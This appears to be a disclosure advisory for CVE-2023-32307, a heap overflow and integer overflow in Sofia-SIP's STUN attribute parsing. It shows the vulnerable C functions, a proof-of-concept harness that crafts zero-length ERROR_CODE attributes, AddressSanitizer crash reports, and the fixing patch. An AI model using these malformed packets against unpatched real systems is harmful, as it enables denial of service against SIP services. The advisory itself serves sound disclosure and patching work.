Headline
CVE-2023-32307: heap-over-flow and integer-overflow in stun_parse_attr_error_code and stun_parse_attr_uint32
Sofia-SIP is an open-source SIP User-Agent library, compliant with the IETF RFC3261 specification. Referring to GHSA-8599-x7rq-fr54, several other potential heap-over-flow and integer-overflow in stun_parse_attr_error_code and stun_parse_attr_uint32 were found because the lack of attributes length check when Sofia-SIP handles STUN packets. The previous patch of GHSA-8599-x7rq-fr54 fixed the vulnerability when attr_type did not match the enum value, but there are also vulnerabilities in the handling of other valid cases. The OOB read and integer-overflow made by attacker may lead to crash, high consumption of memory or even other more serious consequences. These issue have been addressed in version 1.13.15. Users are advised to upgrade.
Referring to GHSA-8599-x7rq-fr54, several other potential heap-over-flow and integer-overflow in stun_parse_attr_error_code and stun_parse_attr_uint32 were found because the lack of attributes length check when Sofia-SIP handles STUN packets.
The previous patch of GHSA-8599-x7rq-fr54 fixed the vulnerability when attr_type did not match the enum value, but there are also vulnerabilities in the handling of other valid cases.
OVERVIEW
For example, in stun_parse_attr_error_code which handles the ERROR_CODE(0x09) attribute, heap-over-flow and integer-overflow can be produced as comments:
int stun_parse_attr_error_code(stun_attr_t *attr, const unsigned char *p, unsigned len) {
uint32_t tmp; stun_attr_errorcode_t *error;
memcpy(&tmp, p, sizeof(uint32_t)); // potential heap-over-flow here when len < 4 tmp = ntohl(tmp); error = (stun_attr_errorcode_t *) malloc(sizeof(*error));
error->code = (tmp & STUN_EC_CLASS)*100 + (tmp & STUN_EC_NUM);
error->phrase = (char *) malloc(len-3); // potential integer-overflow causing allocation-size-too-big when len < 3
strncpy(error->phrase, (char*)p+4, len-4); // if malloc failed, potential write to NULL error->phrase[len - 4] = '\0’; // same as above
attr->pattr = error; stun_init_buffer(&attr->enc_buf);
return 0; }
IMPACT
The OOB read and integer-overflow made by attacker may lead to crash, high consumption of memory or even other more serious consequences.
REPRODUCTION
The POC is modified from the POC of GHSA-8599-x7rq-fr54:
// libsofia-sip-ua/stun/stun_attr_poc.c // ./autogen.sh && CFLAGS="-fsanitize=address" LDFLAGS="-fsanitize=address" ./configure && make -j8 && cd libsofia-sip-ua/stun/ // gcc -fsanitize=address stun_attr_poc.c -I …/… -I …/su -I …/url/ -I …/sip/ -I …/stun -o stun_attr_poc …/.libs/libsofia-sip-ua.a -lssl -lcrypto // ./stun_attr_poc
#include “config.h” #include “stun_internal.h” #include <assert.h> #include <string.h> #include <stdlib.h>
#define STUN_HEADER_SIZE 20 #define STUN_ATTR_TYPE_SIZE 2 #define STUN_ATTR_LEN_SIZE 2 #define STUN_ATTR_VALUE_SIZE 0
// heap-over-flow in stun_parse_attr_error_code(), asan report see asan_report_1.txt void poc_error_code_1() { const size_t stun_message_size = STUN_HEADER_SIZE + STUN_ATTR_TYPE_SIZE + STUN_ATTR_LEN_SIZE + STUN_ATTR_VALUE_SIZE; unsigned char *stun_message = calloc(1, stun_message_size); if (stun_message == NULL) { perror(“Failed to allocate stun_message”); exit(EXIT_FAILURE); } stun_message[3] = STUN_ATTR_TYPE_SIZE + STUN_ATTR_LEN_SIZE + STUN_ATTR_VALUE_SIZE; stun_message[20] = 0x00; stun_message[21] = 0x09; // attr_type = ERROR_CODE stun_message[22] = 0x00; stun_message[23] = 0x00; // len = 0, can pass the existing check to stun_parse_attr_error_code()
stun\_msg\_t request = {.stun\_attr = NULL};
request.enc\_buf.data = stun\_message;
request.enc\_buf.size = stun\_message\_size;
stun\_parse\_message(&request); // heap-over-flow when 'memcpy(&tmp, p, sizeof(uint32\_t));'
free(stun\_message);
}
// integer-overflow in stun_parse_attr_error_code(), asan report see asan_report_2.txt void poc_error_code_2() { const size_t stun_message_size = STUN_HEADER_SIZE + STUN_ATTR_TYPE_SIZE + STUN_ATTR_LEN_SIZE + STUN_ATTR_VALUE_SIZE + 10; unsigned char *stun_message = calloc(1, stun_message_size); if (stun_message == NULL) { perror(“Failed to allocate stun_message”); exit(EXIT_FAILURE); } stun_message[3] = STUN_ATTR_TYPE_SIZE + STUN_ATTR_LEN_SIZE + STUN_ATTR_VALUE_SIZE + 10; stun_message[20] = 0x00; stun_message[21] = 0x09; // attr_type = ERROR_CODE stun_message[22] = 0x00; stun_message[23] = 0x00; // len = 0, can pass the existing check to stun_parse_attr_error_code()
stun\_msg\_t request = {.stun\_attr = NULL};
request.enc\_buf.data = stun\_message;
request.enc\_buf.size = stun\_message\_size;
stun\_parse\_message(&request); // integer-overflow when 'error->phrase = (char \*) malloc(len-3);'
free(stun\_message);
}
int main(void) { poc_error_code_1();
/\* Remove the comment here and comment out \`poc\_error\_code\_1\` to trigger integer-overflow. \*/
// poc\_error\_code\_2();
return 0;
}
AddressSanitizer reports (The second report may not appear on a 64-bit system, please pay attention to the memory usage.):
=================================================================
==14824==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb5200b98 at pc 0x004246ad bp 0xbfe10598 sp 0xbfe1058c
READ of size 4 at 0xb5200b98 thread T0
#0 0x4246ac in stun_parse_attr_error_code /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_common.c:253
#1 0x423bc5 in stun_parse_attribute /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_common.c:167
#2 0x423567 in stun_parse_message /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_common.c:109
#3 0x422e14 in poc_error_code /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_attr_oob_poc.c:34
#4 0x422e97 in main /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_attr_oob_poc.c:41
#5 0xb6e23294 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#6 0xb6e23357 in __libc_start_main_impl ../csu/libc-start.c:381
#7 0x4229f6 in _start (/home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_attr_oob_poc+0x99f6)
0xb5200b98 is located 0 bytes to the right of 24-byte region [0xb5200b80,0xb5200b98)
allocated by thread T0 here:
#0 0xb78babab in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:77
#1 0x422b8a in poc_error_code /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_attr_oob_poc.c:20
#2 0x422e97 in main /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_attr_oob_poc.c:41
#3 0xb6e23294 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_common.c:253 in stun_parse_attr_error_code
Shadow bytes around the buggy address:
0x36a40120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36a40130: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36a40140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36a40150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36a40160: fa fa fa fa fa fa fa fa fa fa 00 00 04 fa fa fa
=>0x36a40170: 00 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa
0x36a40180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36a40190: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36a401a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36a401b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36a401c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==14824==ABORTING
=================================================================
==2219==ERROR: AddressSanitizer: requested allocation size 0xfffffffd (0x800 after adjustments for alignment, red zones etc.) exceeds maximum supported size of 0xc0000000 (thread T0)
#0 0xb78baffb in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
#1 0x413b14 in stun_parse_attr_error_code /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_common.c:259
#2 0x412f4f in stun_parse_attribute /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_common.c:167
#3 0x4128f1 in stun_parse_message /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_common.c:109
#4 0x41219e in poc_error_code_2 /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_attr_oob_poc.c:56
#5 0x412221 in main /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_attr_oob_poc.c:65
#6 0xb6e23294 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
==2219==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: allocation-size-too-big ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69 in __interceptor_malloc
==2219==ABORTING
SUPPOSED PATCH
From c3bbc50c88d168065de34ca01b9b1d98c1b0e810 Mon Sep 17 00:00:00 2001 From: Xu Biang [email protected] Date: Sat, 6 May 2023 05:51:55 +0800 Subject: [PATCH] stun: add checks for attribute length before read from it
Signed-off-by: Xu Biang [email protected] — libsofia-sip-ua/stun/stun_common.c | 9 +++++++++ 1 file changed, 9 insertions(+)
diff --git a/libsofia-sip-ua/stun/stun_common.c b/libsofia-sip-ua/stun/stun_common.c index 87523ea…5891269 100644 — a/libsofia-sip-ua/stun/stun_common.c +++ b/libsofia-sip-ua/stun/stun_common.c @@ -250,6 +250,10 @@ int stun_parse_attr_error_code(stun_attr_t *attr, const unsigned char *p, unsign uint32_t tmp; stun_attr_errorcode_t *error;
- if (len < 4) {
- return -1;
- }
- memcpy(&tmp, p, sizeof(uint32_t)); tmp = ntohl(tmp); error = (stun_attr_errorcode_t *) malloc(sizeof(*error)); @@ -271,6 +275,11 @@ int stun_parse_attr_uint32(stun_attr_t *attr, const unsigned char *p, unsigned l { uint32_t tmp; stun_attr_changerequest_t *cr;
- if (len < 4) {
- return -1;
- }
- cr = (stun_attr_changerequest_t *) malloc(sizeof(*cr)); memcpy(&tmp, p, sizeof(uint32_t)); cr->value = ntohl(tmp); – 2.40.0.windows.1
This patch has been merged in #214 .
CREDIT
Xu Biang, HUST CSE.
Related news
Gentoo Linux Security Advisory 202407-10 - Multiple vulnerabilities have been discovered in Sofia-SIP, the worst of which can lead to remote code execution. Versions prior to 1.13.16 are affected.
Ubuntu Security Notice 6448-1 - Xu Biang discovered that Sofia-SIP did not properly manage memory when handling STUN packets. An attacker could use this issue to cause Sofia-SIP to crash, resulting in a denial of service, or possibly execute arbitrary code.
Debian Linux Security Advisory 5431-1 - Xu Biang discovered that missing input sanitizing in Sofia-SIP, a SIP User-Agent library could result in denial of service.